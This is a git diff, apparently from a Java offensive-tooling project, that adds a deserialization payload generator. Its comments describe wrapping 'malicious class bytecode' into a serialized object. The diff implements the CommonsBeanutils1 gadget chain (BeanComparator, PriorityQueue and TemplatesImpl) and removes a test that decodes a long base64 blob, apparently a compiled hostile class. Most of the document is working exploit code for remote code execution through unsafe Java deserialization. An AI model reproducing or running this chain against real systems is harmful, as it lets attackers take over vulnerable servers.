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"; - byte[] bytes = Base64.getDecoder().decode(base64); - Object payload = getPayload(bytes); - byte[] serialize = serialize(payload); - System.out.println(new String(Base64.getEncoder().encode(bytes))); - } - - @SneakyThrows - public static byte[] serialize(Object obj) { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(baos); - oos.writeObject(obj); - oos.flush(); - oos.close(); - return baos.toByteArray(); - } -} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java new file mode 100644 index 00000000..7c5a87eb --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.deserialize; + +import lombok.Data; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +@Data +public class DeserializeConfig { + private PayloadType payloadType; +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeGenerator.java new file mode 100644 index 00000000..46e0656e --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeGenerator.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.deserialize; + +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class DeserializeGenerator { + + @SneakyThrows + public static byte[] generate(byte[] bytes, DeserializeConfig config) { + PayloadType payloadType = config.getPayloadType(); + Object obj = payloadType.getPayload().generate(bytes); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(obj); + oos.flush(); + oos.close(); + return baos.toByteArray(); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java new file mode 100644 index 00000000..490899e6 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.deserialize; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public interface Payload { + /** + * 将恶意类字节流封装成序列化对象 + * + * @param bytes 恶意类字节流 + * @return 序列化对象 + */ + Object generate(byte[] bytes); +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java new file mode 100644 index 00000000..769163af --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.deserialize; + +import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19; +import lombok.Getter; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +@Getter +public enum PayloadType { + /** + * CB 链 + */ + CommonsBeanutils19(new CommonsBeanutils19()); + + private final Payload payload; + + PayloadType(Payload payload) { + this.payload = payload; + } + + public static PayloadType getPayloadType(String payloadType) { + for (PayloadType value : values()) { + if (value.name().equals(payloadType)) { + return value; + } + } + throw new IllegalArgumentException("unknown payload type: " + payloadType); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java new file mode 100644 index 00000000..5abd215d --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.deserialize.payload; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class CommonsBeanutils19 implements Payload { + @Override + @SneakyThrows + public Object generate(byte[] bytes) { + Object obj = TemplateUtils.createTemplatesImpl(bytes); + final BeanComparator comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, comparator); + queue.add("1"); + queue.add("1"); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java index f9b63b1c..d4b25988 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.deserialize.utils; -import com.reajason.javaweb.deserialize.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19; import java.lang.reflect.Field;